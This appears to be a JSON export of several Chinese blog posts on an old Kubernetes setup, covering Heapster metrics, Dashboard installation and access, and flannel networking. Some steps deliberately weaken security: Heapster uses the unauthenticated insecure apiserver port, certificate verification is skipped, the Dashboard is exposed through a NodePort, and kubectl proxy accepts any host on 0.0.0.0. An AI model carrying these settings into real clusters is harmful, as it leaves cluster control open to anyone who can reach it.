network\u003c/a\u003e。\u003c/p\u003e","title":"以Kubeadm方式安装的Kubernetes集群的探索"},{"content":"默认安装后的Kubernetes dashboard如下图所示，是无法图形化展现集群度量指标信息的：\n图形化展示度量指标的实现需要集成k8s的另外一个Addons组件：Heapster。\nHeapster原生支持K8s(v1.0.6及以后版本)和CoreOS，并且支持多种存储后端，比如：InfluxDB、ElasticSearch、Kafka等，这个风格和k8s的确很像：功能先不管完善与否，先让自己在各个平台能用起来再说^0^。这里我们使用的数据存储后端是InfluxDB。\n一、安装步骤 我们的Heapster也是要放在pod里运行的。当前，Heapster的最新stable版本是v1.2.0，我们可以下载其源码包到K8s cluster上的某个Node上。解压后，我们得到一个名为”heapster-1.2.0″的目录，进入该目录，我们可以看到如下内容：\nroot@node1:~/k8stest/dashboardinstall/heapster-1.2.0# ls code-of-conduct.md CONTRIBUTING.md docs Godeps hooks integration LICENSE metrics riemann version common deploy events grafana influxdb kafka Makefile README.md vendor 以InfluxDB为存储后端的Heapster部署yaml在deploy/kube-config/influxdb下面：\nroot@node1:~/k8stest/dashboardinstall/heapster-1.2.0# ls -l deploy/kube-config/influxdb/ total 28 -rw-r--r-- 1 root root 414 Sep 14 12:47 grafana-service.yaml -rw-r--r-- 1 root root 942 Jan 20 15:15 heapster-controller.yaml -rw-r--r-- 1 root root 249 Sep 14 12:47 heapster-service.yaml -rw-r--r-- 1 root root 1465 Jan 19 21:39 influxdb-grafana-controller.yaml -rw-r--r-- 1 root root 259 Sep 14 12:47 influxdb-service.yaml 这里有五个yaml（注意：与heapster源码库中最新的代码已经有所不同，最新代码将influxdb和grafana从influxdb-grafana-controller.yaml拆分开了）。其中的一些docker image在墙外，如果你有加速器，那么你可以直接执行create命令；否则最好找到一些替代品： 比如：用signalive/heapster_grafana:2.6.0-2替换gcr.io/google_containers/heapster_grafana:v2.6.0-2。\n创建pod的操作很简单：\n~/k8stest/dashboardinstall/heapster-1.2.0# kubectl create -f deploy/kube-config/influxdb/ service \u0026quot;monitoring-grafana\u0026quot; created replicationcontroller \u0026quot;heapster\u0026quot; created service \u0026quot;heapster\u0026quot; created replicationcontroller \u0026quot;influxdb-grafana\u0026quot; created service \u0026quot;monitoring-influxdb\u0026quot; created 如果image pull顺利的话，那么这些pod和service的启动是会很正常的。\n//kube get pods -n kube-system ... ... kube-system heapster-b1dwa 1/1 Running 0 1h 172.16.57.9 10.46.181.146 k8s-app=heapster,version=v6 kube-system influxdb-grafana-8c0e0 2/2 Running 0 1h 172.16.57.10 10.46.181.146 name=influxGrafana ... ... 我们用浏览器打开kubernetes的Dashboard，期待中的图形化和集群度量指标信息到哪里去了呢？Dashboard还是一如既往的如上面图示中那样“简朴”，显然我们遇到问题了！\n二、TroubleShooting 问题在哪？我们需要逐个检视相关Pod的日志：\n# kubectl logs -f pods/influxdb-grafana-xxxxxx influxdb -n kube-system # kubectl logs -f pods/influxdb-grafana-xxxxxx grafana -n kube-system # kubectl logs -f pods/heapster-xxxxx -n kube-system 在heapster-xxxxx这个pod中，我们发现了大量失败日志：\nE0119 13:14:37.838900 1 reflector.go:203] k8s.io/heapster/metrics/heapster.go:319: Failed to list *api.Pod: the server has asked for the client to provide credentials (get pods) E0119 13:14:37.838974 1 reflector.go:203] k8s.io/heapster/metrics/processors/node_autoscaling_enricher.go:100: Failed to list *api.Node: the server has asked for the client to provide credentials (get nodes) E0119 13:14:37.839516 1 reflector.go:203] k8s.io/heapster/metrics/processors/namespace_based_enricher.go:84: Failed to list *api.Namespace: the server has asked for the client to provide credentials (get namespaces) heapster无法连接apiserver，获取不要想要的信息。从kube-apiserver的日志(/var/log/upstart/kube-apiserver.log)也印证了这一点：\nE0120 09:15:30.833928 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error E0120 09:15:30.834032 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error E0120 09:15:30.835324 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error 从apiserver的日志来看，heapster是通过apiserver的secure port连接的，由于我们的API server设置有https client端证书校验机制，因此两者连接失败。\n三、通过insecure-port连接kube-apiserver 现在我们就来解决上述问题。\n首先，我们会想到：能否让heapster通过kube APIServer的insecure-port连接呢？在《Kubernetes集群的安全配置》一文中我们提到过，kube-apiserver针对insecure-port接入的请求没有任何限制机制，这样heapster就可以获取到它所想获取到的所有有用信息。\n在heapster doc中的“Configuring Source”中，我们找到了连接kube-apiserver insecure-port的方法。不过在修改yaml之前，我们还是要先来看看当前heapster的一些启动配置的含义：\n//deploy/kube-config/influxdb/heapster-controller.yaml command: - /heapster - --source=kubernetes:https://kubernetes.default - --sink=influxdb:http://monitoring-influxdb:8086 我们看到heapster启动时有两个启动参数：\n–source指示数据源，heapster是支持多种数据源的，这里用的是“kubernetes”类型的数据源，地址是：kubernetes.default。这个域名的全名是：kubernetes.default.svc.cluster.local，就是service “kubernetes”在cluster中的域名，而”kubernetes”服务就是kube-apiserver，它的信息如下：\n# kubectl get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes 192.168.3.1 \u0026lt;none\u0026gt; 443/TCP 99d ... ... # kubectl describe svc/kubernetes Name: kubernetes Namespace: default Labels: component=apiserver provider=kubernetes Selector: \u0026lt;none\u0026gt; Type: ClusterIP IP: 192.168.3.1 Port: https 443/TCP Endpoints: xxx.xxx.xxx.xxx:6443 Session Affinity: ClientIP No events. 因此，该域名在k8s DNS中会被resolve为clusterip:192.168.3.1。外加https的默认端口是443，因此实际上heapster试图访问的apiserver地址是：https://192.168.3.1:443。\nheapster启动的另外一个参数是–sink，这个传入的就是存储后端，我们使用了InfluxDB，这里传入的就是上面创建的InfluxDB service的域名和端口号，我们在cluster中也能查找到该Service的信息：\n# kubectl get services -n kube-system NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE monitoring-influxdb 192.168.3.228 \u0026lt;none\u0026gt; 8083/TCP,8086/TCP 1h ... ... 前面提到过，我们的APIServer在secure port上是有client端证书校验的，那么以这样的启动参数启动的heapster连接不上kube-apiserver就“合情合理”了。\n接下来，我们按照”Configuring Source”中的方法，将heapster与kube-apiserver之间的连接方式改为通过insecure port进行：\n// kube-config/influxdb/heapster-controller.yaml ... ... command: - /heapster - --source=kubernetes:http://10.47.136.60:8080?inClusterConfig=false - --sink=influxdb:http://monitoring-influxdb:8086 修改后重新create。重新启动后的heapster pod的日志输出如下：\n# kubectl logs -f pod/heapster-hco5i -n kube-system I0120 02:03:46.014589 1 heapster.go:71] /heapster --source=kubernetes:http://10.47.136.60:8080?inClusterConfig=false --sink=influxdb:http://monitoring-influxdb:8086 I0120 02:03:46.014975 1 heapster.go:72] Heapster version v1.3.0-beta.0 I0120 02:03:46.015080 1 configs.go:60] Using Kubernetes client with master \u0026quot;http://10.47.136.60:8080\u0026quot; and version v1 I0120 02:03:46.015175 1 configs.go:61] Using kubelet port 10255 E0120 02:03:46.025962 1 influxdb.go:217] issues while creating an InfluxDB sink: failed to ping InfluxDB server at \u0026quot;monitoring-influxdb:8086\u0026quot; - Get http://monitoring-influxdb:8086/ping: dial tcp 192.168.3.239:8086: getsockopt: connection refused, will retry on use I0120 02:03:46.026090 1 influxdb.go:231] created influxdb sink with options: host:monitoring-influxdb:8086 user:root db:k8s I0120 02:03:46.026214 1 heapster.go:193] Starting with InfluxDB Sink I0120 02:03:46.026286 1 heapster.go:193] Starting with Metric Sink I0120 02:03:46.051096 1 heapster.go:105] Starting heapster on port 8082 I0120 02:04:05.211382 1 influxdb.go:209] Created database \u0026quot;k8s\u0026quot; on influxDB server at \u0026quot;monitoring-influxdb:8086\u0026quot; 之前的错误消失了！\n我们再次打开Dashboard查看pod信息（这里需要等上一小会儿，因为采集cluster信息也是需要时间的），我们看到集群度量指标信息以图形化的方式展现在我们面前了(可对比本文开头那幅图示)：\n四、通过secure port连接kube-apiserver kube-apiserver的–insecure-port更多用来调试，生产环境下可是说关就关的，因此通过kube-apiserver的secure port才是“长治久安”之道。但要如何做呢？在heapster的”Configure Source”中给了一种使用serviceaccount的方法，但感觉略有些复杂啊。这里列出一下我自己探索到的方法: 使用kubeconfig文件！在《Kubernetes集群Dashboard插件安装》一文中，我们已经配置好了kubeconfig文件（默认位置：~/.kube/config），对于kubeconfig配置项还不是很了解的童鞋可以详细参考那篇文章，这里就不赘述了。\n接下来，我们来修改heapster-controller.yaml：\n// deploy/kube-config/influxdb/heapster-controller.yaml ... ... spec: containers: - name: heapster image: kubernetes/heapster:canary volumeMounts: - mountPath: /srv/kubernetes name: auth - mountPath: /root/.kube name: config imagePullPolicy: Always command: - /heapster - --source=kubernetes:https://kubernetes.default?inClusterConfig=false\u0026amp;insecure=true\u0026amp;auth=/root/.kube/config - --sink=influxdb:http://monitoring-influxdb:8086 volumes: - name: auth hostPath: path: /srv/kubernetes - name: config hostPath: path: /root/.kube ... ... 从上述文件内容中–source的值我们可以看到，我们又恢复到初始kubernetes service的地址：https://kubernetes.default，但后面又跟了几个参数：\ninClusterConfig=false : 不使用service accounts中的kube config信息； insecure=true：这里偷了个懒儿：选择对kube-apiserver发过来的服务端证书做信任处理，即不校验； auth=/root/.kube/config：这个是关键！在不使用serviceaccount时，我们使用auth文件中的信息来对应kube-apiserver的校验。 上述yaml中，我们还挂载了两个path，以便pod可以访问到相应的配置文件(~/.kube/config）和/srv/kubernetes下的证书。\n保存并重新创建相关pod后，Dashboard下的集群度量指标信息依然能以图形化的方式展现出来，可见这种方法是ok的！\n","permalink":"https://tonybai.com/2017/01/20/integrate-heapster-for-kubernetes-dashboard/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003e默认安装后的Kubernetes dashboard\u003c/a\u003e如下图所示，是无法图形化展现集群度量指标信息的：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-dashboard-without-heapster.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图形化展示度量指标的实现需要集成k8s的另外一个Addons组件：\u003ca href=\"https://github.com/kubernetes/heapster/\"\u003eHeapster\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eHeapster原生支持K8s(v1.0.6及以后版本)和\u003ca href=\"https://coreos.com/\"\u003eCoreOS\u003c/a\u003e，并且支持多种存储后端，比如：\u003ca href=\"http://influxdb.com/\"\u003eInfluxDB\u003c/a\u003e、\u003ca href=\"https://www.elastic.co/products/elasticsearch\"\u003eElasticSearch\u003c/a\u003e、\u003ca href=\"http://kafka.apache.org/\"\u003eKafka\u003c/a\u003e等，这个风格和k8s的确很像：功能先不管完善与否，先让自己在各个平台能用起来再说^0^。这里我们使用的数据存储后端是InfluxDB。\u003c/p\u003e","title":"Kubernetes Dashboard集成Heapster"},{"content":"第一次利用kube-up.sh脚本方式安装Kubernetes 1.3.7集群时，我就已经顺利地将kubernetes dashboard addon安装ok了。至今在这个环境下运行十分稳定。但是毕竟是一个试验环境，有些配置是无法满足生产环境要求的，比如：安全问题。今天有时间对Dashboard的配置进行一些调整，顺带将之前Dashboard插件的安装和配置过程也记录下来，供大家参考。\n一、Dashboard的默认安装步骤 1、基于默认配置项的安装 采用kube-up.sh在Ubuntu上安装dashboard的原理与安装DNS插件大同小异，主要涉及的脚本文件和配置项包括：\n// kubernetes/cluster/config-default.sh ... ... # Optional: Install Kubernetes UI ENABLE_CLUSTER_UI=\u0026quot;${KUBE_ENABLE_CLUSTER_UI:-true}\u0026quot; ... ... // kubernetes/cluster/ubuntu/deployAddons.sh ... ... function deploy_dashboard { if ${KUBECTL} get rc -l k8s-app=kubernetes-dashboard --namespace=kube-system | grep kubernetes-dashboard-v \u0026amp;\u0026gt; /dev/null; then echo \u0026quot;Kubernetes Dashboard replicationController already exists\u0026quot; else echo \u0026quot;Creating Kubernetes Dashboard replicationController\u0026quot; ${KUBECTL} create -f ${KUBE_ROOT}/cluster/addons/dashboard/dashboard-controller.yaml fi if ${KUBECTL} get service/kubernetes-dashboard --namespace=kube-system \u0026amp;\u0026gt; /dev/null; then echo \u0026quot;Kubernetes Dashboard service already exists\u0026quot; else echo \u0026quot;Creating Kubernetes Dashboard service\u0026quot; ${KUBECTL} create -f ${KUBE_ROOT}/cluster/addons/dashboard/dashboard-service.yaml fi echo } init ... ... if [ \u0026quot;${ENABLE_CLUSTER_UI}\u0026quot; == true ]; then deploy_dashboard fi kube-up.sh会尝试创建”kube-system” namespace，并执行下面命令：\nkubectl create -f kubernetes/cluster/addons/dashboard/dashboard-controller.yaml kubectl create -f kubernetes/cluster/addons/dashboard/dashboard-service.yaml 这和我们在cluster中创建一个rc和service没有多大区别。\n当然上面的安装方式是伴随着k8s cluster的安装进行的，如果要单独安装Dashboard，那么Dashboard主页上的安装方式显然更为简单：\nkubectl create -f https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml 2、调整Dashboard容器启动参数 dashboard-controller.yaml和dashboard-service.yaml两个文件内容如下：\n//dashboard-controller.yaml apiVersion: v1 kind: ReplicationController metadata: name: kubernetes-dashboard-v1.1.1 namespace: kube-system labels: k8s-app: kubernetes-dashboard version: v1.1.1 kubernetes.io/cluster-service: \u0026quot;true\u0026quot; spec: replicas: 1 selector: k8s-app: kubernetes-dashboard template: metadata: labels: k8s-app: kubernetes-dashboard version: v1.1.1 kubernetes.io/cluster-service: \u0026quot;true\u0026quot; spec: containers: - name: kubernetes-dashboard image: gcr.io/google_containers/kubernetes-dashboard-amd64:v1.1.1 resources: # keep request = limit to keep this container in guaranteed class limits: cpu: 100m memory: 50Mi requests: cpu: 100m memory: 50Mi ports: - containerPort: 9090 livenessProbe: httpGet: path: / port: 9090 initialDelaySeconds: 30 timeoutSeconds: 30 // dashboard-service.yaml apiVersion: v1 kind: Service metadata: name: kubernetes-dashboard namespace: kube-system labels: k8s-app: kubernetes-dashboard kubernetes.io/cluster-service: \u0026quot;true\u0026quot; spec: selector: k8s-app: kubernetes-dashboard ports: - port: 80 targetPort: 9090 这两个文件的内容略微陈旧些，用的还是目前已不推荐使用的ReplicationController。\n不过这样默认安装后，你可能还会遇到如下问题：\n（1） Dashboard pod创建失败：这是由于kubernetes-dashboard-amd64:v1.1.1 image在墙外，pull image失败导致的。\n可以通过使用加速器或使用替代image的方式来解决，比如：mritd/kubernetes-dashboard-amd64:v1.4.0。修改一下dashboard-controller.yaml中image那一行即可。\n（2）Dashboard无法连接到master node上的api server\n如果唯一的dashboard pod（由于replicas=1）被调度到minion node上，那么很可能无法连接上master node上api server(dashboard会在cluster中自动检测api server的存在，但有时候会失败)，导致页面无法正常显示。因此，需要指定一下api server的url，比如：我们在dashboard-controller.yaml中为container启动增加一个启动参数–apiserver-host：\n// dashboard-controller.yaml ... ... spec: containers: - name: kubernetes-dashboard image: mritd/kubernetes-dashboard-amd64:v1.4.0 imagePullPolicy: Always ports: - containerPort: 9090 protocol: TCP args: - --apiserver-host=http://{api server host}:{api server insecure-port} ... ... （3）增加nodeport，提供外部访问路径\ndashboard以cluster service的角色运行在cluster中，我们虽然可以在Node上访问该service或直接访问pod，但要想在外部网络访问到dashboard，还需要另外设置，比如：设置nodeport。\n在dashboard-service.yaml中，修改配置如下：\nspec: type: NodePort ports: - port: 80 targetPort: 9090 nodePort: 12345 这样你就可以通过node 的public ip+nodeport访问到dashboard了。\n不过这时，你的dashboard算是在“裸奔”，没有任何安全可言：\n- dashboard ui没有访问管理机制，任何access都可以全面接管dashboard；\n- 同时在背后，dashboard通过insecure-port访问apiserver，没有使用加密机制。\n二、dashboard通过kubeconfig文件信息访问apiserver 我们先来建立dashboard和apiserver之间的安全通信机制。\n当前master上的kube-apiserver的启动参数如下：\n// /etc/default/kube-apiserver KUBE_APISERVER_OPTS=\u0026quot; --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=80-32767 --advertise-address={master node local ip} --basic-auth-file=/srv/kubernetes/basic_auth_file --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key\u0026quot; dashboard要与apiserver建立安全通信机制，务必不能使用insecure port。kubernetes apiserver默认情况下secure port也是开启的，端口为6443。同时，apiserver开启了basic auth(–basic-auth-file=/srv/kubernetes/basic_auth_file)。这样一来，dashboard光靠传入的–apiserver-host参数将无法正常访问apiserver的secure port并通过basic auth。我们需要找到另外一个option：\n我们来看一下dashboard还支持哪些cmdline options：\n# docker run mritd/kubernetes-dashboard-amd64:v1.4.0 /dashboard -help Usage of /dashboard: --alsologtostderr value log to standard error as well as files --apiserver-host string The address of the Kubernetes Apiserver to connect to in the format of protocol://address:port, e.g., http://localhost:8080. If not specified, the assumption is that the binary runs inside aKubernetes cluster and local discovery is attempted. --heapster-host string The address of the Heapster Apiserver to connect to in the format of protocol://address:port, e.g., http://localhost:8082. If not specified, the assumption is that the binary runs inside aKubernetes cluster and service proxy will be used. --kubeconfig string Path to kubeconfig file with authorization and master location information. --log-flush-frequency duration Maximum number of seconds between log flushes (default 5s) --log_backtrace_at value when logging hits line file:N, emit a stack trace (default :0) --log_dir value If non-empty, write log files in this directory --logtostderr value log to standard error instead of files (default true) --port int The port to listen to for incoming HTTP requests (default 9090) --stderrthreshold value logs at or above this threshold go to stderr (default 2) -v, --v value log level for V logs --vmodule value comma-separated list of pattern=N settings for file-filtered logging 从输出的options来看，只有–kubeconfig这个能够满足需求。\n1、kubeconfig文件介绍 采用kube-up.sh脚本进行kubernetes默认安装后，脚本会在每个Cluster node上创建一个~/.kube/config文件，该kubeconfig文件可为k8s cluster中的组件（比如kubectl等）、addons(比如dashboard等)提供跨全cluster的安全验证机制。\n下面是我的minion node上的kubeconfig文件\n# cat ~/.kube/config apiVersion: v1 clusters: - cluster: certificate-authority: /srv/kubernetes/ca.crt server: https://{master node local ip}:6443 name: ubuntu contexts: - context: cluster: ubuntu namespace: default user: admin name: ubuntu current-context: ubuntu kind: Config preferences: {} users: - name: admin user: password: {apiserver_password} username: {apiserver_username} client-certificate: /srv/kubernetes/kubecfg.crt client-key: /srv/kubernetes/kubecfg.key kubeconfig中存储了clusters、users、contexts信息，以及其他一些杂项，并通过current-context指定当前context。通过该配置文件，类似kubectl这样的cluster操作工具可以很容易的在各个cluster之间切换context。一个context就是一个三元组：{cluster、user、namespace}，current-context指定当前选定的context，比如上面的kubeconfig文件，当我们执行kubectl时，kubectl会读取该配置文件，并以current-context指定的那个context中的信息去查找user和cluster。这里current-context是ubuntu。\nubuntu这个context三元组中的信息是：\n{ cluster = ubuntu namespace = default user = admin } 之后kubectl到clusters中找到name为ubuntu的cluster，发现其server为https://{master node local ip}:6443，以及其CA信息；到users中找到name为admin的user，并使用该user下的信息：\npassword: {apiserver_password} username: {apiserver_username} client-certificate: /srv/kubernetes/kubecfg.crt client-key: /srv/kubernetes/kubecfg.key 通过kubectl config命令可以配置kubeconfig文件，具体命令可以参考这里。\n另外上面的/srv/kubernetes/ca.crt、/srv/kubernetes/kubecfg.crt和/srv/kubernetes/kubecfg.key都是kube-up.sh在安装k8s 1.3.7时在各个node上创建的，可以直接用来作为访问apiserver的参数传递给kubectl或其他要访问apiserver的组件或addons。\n2、修改dashboard启动参数，使用kubeconfig文件 现在我们要让dashboard使用kubeconfig文件，我们需要修改dashboard-controller.yaml文件中涉及containers的配置信息：\nspec: containers: - name: kubernetes-dashboard image: mritd/kubernetes-dashboard-amd64:v1.4.0 volumeMounts: - mountPath: /srv/kubernetes name: auth - mountPath: /root/.kube name: config imagePullPolicy: Always ports: - containerPort: 9090 protocol: TCP args: - --kubeconfig=/root/.kube/config livenessProbe: httpGet: path: / port: 9090 initialDelaySeconds: 30 timeoutSeconds: 30 volumes: - name: auth hostPath: path: /srv/kubernetes - name: config hostPath: path: /root/.kube 由于要用到各种证书以及kubeconfig，我们在pod里挂载了host主机的path： /root/.kube和/srv/kubernetes。\n重新部署dashboard后，dashboard与kube-apiserver之间就有了安全保障了（https+basic_auth）。\n三、实现dashboard UI login 虽然上面实现了dashboard与apiserver之间的安全通道和basic auth，但通过nodeport方式访问dashboard，我们依旧可以掌控dashboard，而dashboard依旧没有任何访问控制机制。而实际情况是dashboard目前还不支持identity and access management，不过在不久的将来，dashboard将添加这方面的支持。\n那么在当前版本下，如何实现一个简易的login流程呢？除了前面提到的nodeport方式访问dashboard UI外，官方在trouble shooting里还提供了另外两种访问dashboard的方法，我们一起来看看是否能满足我们的最低级需求^0^。\n1、kubectl proxy方式 kubectl proxy的方式默认只允许local network访问，但是kubectl proxy提供了若干flag options可以设置，我们来试试：\n我们在minion node上执行：\n# kubectl proxy --address='0.0.0.0' --port=30099 Starting to serve on [::]:30099 我们在minion node上的30099端口提供外网服务。打开浏览器，访问: http://{minion node public ip}:30099/ui，得到如下结果：\n\u0026lt;h3\u0026gt;Unauthorized\u0026lt;/h3\u0026gt; 到底哪没授权呢？我们查看kubectl proxy的flag options发现下面一个疑点：\n--accept-hosts='^localhost$,^127\\.0\\.0\\.1$,^\\[::1\\]$': Regular expression for hosts that the proxy should accept. 显然–accept-hosts默认接受的host地址形式让我们的访问受限。重新调整配置再次执行：\n# kubectl proxy --address='0.0.0.0' --port=30099 --accept-hosts='^*$' Starting to serve on [::]:30099 再次打开浏览器，访问：http://{minion node public ip}:30099/ui\n浏览器会跳转至下面的地址：\nhttp://{minion node public ip}:30099/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard/#/workload?namespace=default dashboard ui访问成功！不过，这种方式依旧无需你输入user/password，这不符合我们的要求。\n2、直接访问apiserver方式 trouble shooting文档提供的最后一种访问方式是直接访问apiserver方式：\n打开浏览器访问： https://{master node public ip}:6443 这时浏览器会提示你：证书问题。忽略之（由于apiserver采用的是自签署的私有证书，浏览器端无法验证apiserver的server.crt），继续访问，浏览器弹出登录对话框，让你输入用户名和密码，这里我们输入apiserver —basic-auth-file中的用户名和密码，就可以成功登录apiserver，并在浏览器页面看到如下内容：\n{ \u0026quot;paths\u0026quot;: [ \u0026quot;/api\u0026quot;, \u0026quot;/api/v1\u0026quot;, \u0026quot;/apis\u0026quot;, \u0026quot;/apis/apps\u0026quot;, \u0026quot;/apis/apps/v1alpha1\u0026quot;, \u0026quot;/apis/autoscaling\u0026quot;, \u0026quot;/apis/autoscaling/v1\u0026quot;, \u0026quot;/apis/batch\u0026quot;, \u0026quot;/apis/batch/v1\u0026quot;, \u0026quot;/apis/batch/v2alpha1\u0026quot;, \u0026quot;/apis/extensions\u0026quot;, \u0026quot;/apis/extensions/v1beta1\u0026quot;, \u0026quot;/apis/policy\u0026quot;, \u0026quot;/apis/policy/v1alpha1\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io/v1alpha1\u0026quot;, \u0026quot;/healthz\u0026quot;, \u0026quot;/healthz/ping\u0026quot;, \u0026quot;/logs/\u0026quot;, \u0026quot;/metrics\u0026quot;, \u0026quot;/swaggerapi/\u0026quot;, \u0026quot;/ui/\u0026quot;, \u0026quot;/version\u0026quot; ] } 接下来，我们访问下面地址：\nhttps://{master node public ip}:6443/ui 你会看到页面跳转到：\nhttps://101.201.78.51:6443/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard/ 我们成功进入dashboard UI中! 显然这种访问方式满足了我们对dashboard UI采用登录访问的最低需求！\n三、小结 到目前为止，dashboard已经可以使用。但它还缺少metric和类仪表盘图形展示功能，这两个功能需要额外安装Heapster才能实现，不过一般功能足以满足你对k8s cluster的管理需求。\n","permalink":"https://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/","summary":"\u003cp\u003e第一次\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu\"\u003e利用kube-up.sh脚本方式安装Kubernetes 1.3.7集群\u003c/a\u003e时，我就已经顺利地将\u003ca href=\"https://github.com/kubernetes/dashboard\"\u003ekubernetes dashboard\u003c/a\u003e addon安装ok了。至今在这个环境下运行十分稳定。但是毕竟是一个试验环境，有些配置是无法满足生产环境要求的，比如：安全问题。今天有时间对Dashboard的配置进行一些调整，顺带将之前Dashboard插件的安装和配置过程也记录下来，供大家参考。\u003c/p\u003e","title":"Kubernetes集群Dashboard插件安装"},{"content":"第一次采用kube-up.sh脚本方式安装的Kubernetes cluster目前运行良好，master node上的组件状态也始终是“没毛病”：\n# kubectl get cs NAME STATUS MESSAGE ERROR controller-manager Healthy ok scheduler Healthy ok etcd-0 Healthy {\u0026quot;health\u0026quot;: \u0026quot;true\u0026quot;} 不过在第二次尝试用kubeadm安装和初始化Kubernetes cluster时遇到的各种网络问题还是让我“心有余悸”。于是趁上个周末，对Kubernetes的网络原理进行了一些针对性的学习。这里把对Kubernetes网络的理解记录一下和大家一起分享。\nKubernetes支持Flannel、Calico、Weave network等多种cni网络Drivers，但由于学习过程使用的是第一个cluster的Flannel网络，这里的网络原理只针对k8s+Flannel网络。\n一、环境+提示 凡涉及到Docker、Kubernetes这类正在active dev的开源项目的文章，我都不得不提一嘴，那就是随着K8s以及flannel的演化，本文中的一些说法可能不再正确。提醒大家：阅读此类技术文章务必结合“环境”。\n这里我们使用的环境就是我第一次建立k8s cluster的环境：\n# kube-apiserver --version Kubernetes v1.3.7 # /opt/bin/flanneld -version 0.5.5 # /opt/bin/etcd -version etcd Version: 3.0.12 Git SHA: 2d1e2e8 Go Version: go1.6.3 Go OS/Arch: linux/amd64 另外整个集群搭建在阿里云上，每个ECS上的OS及kernel版本：Ubuntu 14.04.4 LTS，3.19.0-70-generic。\n在我的测试环境，有两个node：master node和一个minion node。master node参与workload的调度。所以你基本可以认为有两个minion node即可。\n二、Kubernetes Cluster中的几个“网络” 之前的k8s cluster采用的是默认安装，即直接使用了配置脚本中(kubernetes/cluster/ubuntu/config-default.sh)自带的一些参数，比如：\n//摘自kubernetes/cluster/ubuntu/config-default.sh export nodes=${nodes:-\u0026quot;root@master_node_ip root@minion_node_ip\u0026quot;} export SERVICE_CLUSTER_IP_RANGE=${SERVICE_CLUSTER_IP_RANGE:-192.168.3.0/24} export FLANNEL_NET=${FLANNEL_NET:-172.16.0.0/16} 从这里我们能够识别出三个“网络”：\nnode network：承载kubernetes集群中各个“物理”Node(master和minion)通信的网络； service network：由kubernetes集群中的Services所组成的“网络”； flannel network： 即Pod网络，集群中承载各个Pod相互通信的网络。 node network自不必多说，node间通过你的本地局域网（无论是物理的还是虚拟的）通信。\nservice network比较特殊，每个新创建的service会被分配一个service IP，在当前集群中，这个IP的分配范围是192.168.3.0/24。不过这个IP并不“真实”，更像一个“占位符”并且只有入口流量，所谓的“network”也是“名不符实”的，后续我们会详尽说明。\nflannel network是我们要理解的重点，cluster中各个Pod要实现相互通信，必须走这个网络，无论是在同一node上的Pod还是跨node的Pod。我们的cluster中，flannel net的分配范围是：172.16.0.0/16。\n在进一步挖掘“原理”之前，我们先来直观认知一下service network和flannel network：\nService network(看cluster-ip一列)：\n# kubectl get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE index-api 192.168.3.168 \u0026lt;none\u0026gt; 30080/TCP 18d kubernetes 192.168.3.1 \u0026lt;none\u0026gt; 443/TCP 94d my-nginx 192.168.3.179 \u0026lt;nodes\u0026gt; 80/TCP 90d nginx-kit 192.168.3.196 \u0026lt;nodes\u0026gt; 80/TCP 12d rbd-rest-api 192.168.3.22 \u0026lt;none\u0026gt; 8080/TCP 60d Flannel network（看IP那列）:\n# kubectl get pod -o wide NAME READY STATUS RESTARTS AGE IP NODE my-nginx-2395715568-gpljv 1/1 Running 6 91d 172.16.99.3 {master node ip} nginx-kit-3872865736-rc8hr 2/2 Running 0 12d 172.16.57.7 {minion node ip} ... ... 三、平坦的Flannel网络 1、Kubenetes安装后的网络状态 首先让我们来看看：kube-up.sh在安装k8s集群时对各个K8s Node都动了什么手脚！\na) 修改docker default配置 在ubuntu 14.04下，docker的配置都在/etc/default/docker文件中。如果你曾经修改过该文件，那么kube-up.sh脚本方式安装完kubernetes后，你会发现/etc/default/docker已经变样了，只剩下了一行：\nmaster node: DOCKER_OPTS=\u0026quot; -H tcp://127.0.0.1:4243 -H unix:///var/run/docker.sock --bip=172.16.99.1/24 --mtu=1450\u0026quot; minion node: DOCKER_OPTS=\u0026quot; -H tcp://127.0.0.1:4243 -H unix:///var/run/docker.sock --bip=172.16.57.1/24 --mtu=1450\u0026quot; 可以看出kube-up.sh修改了Docker daemon的–bip选项，使得该node上docker daemon在该node的fannel subnet范围以内为启动的Docker container分配IP地址。\nb) 在etcd中初始化flannel网络数据 多个node上的Flanneld依赖一个etcd cluster来做集中配置服务，etcd保证了所有node上flanned所看到的配置是一致的。同时每个node上的flanned监听etcd上的数据变化，实时感知集群中node的变化。\n我们可以通过etcdctl查询到这些配置数据：\nmaster node: //flannel network配置 # etcdctl --endpoints http://127.0.0.1:{etcd listen port} get /coreos.com/network/config {\u0026quot;Network\u0026quot;:\u0026quot;172.16.0.0/16\u0026quot;, \u0026quot;Backend\u0026quot;: {\u0026quot;Type\u0026quot;: \u0026quot;vxlan\u0026quot;}} # etcdctl --endpoints http://127.0.0.1:{etcd listen port} ls /coreos.com/network/subnets /coreos.com/network/subnets/172.16.99.0-24 /coreos.com/network/subnets/172.16.57.0-24 //某一node上的flanne subnet和vtep配置 # etcdctl --endpoints http://127.0.0.1:{etcd listen port} get /coreos.com/network/subnets/172.16.99.0-24 {\u0026quot;PublicIP\u0026quot;:\u0026quot;{master node 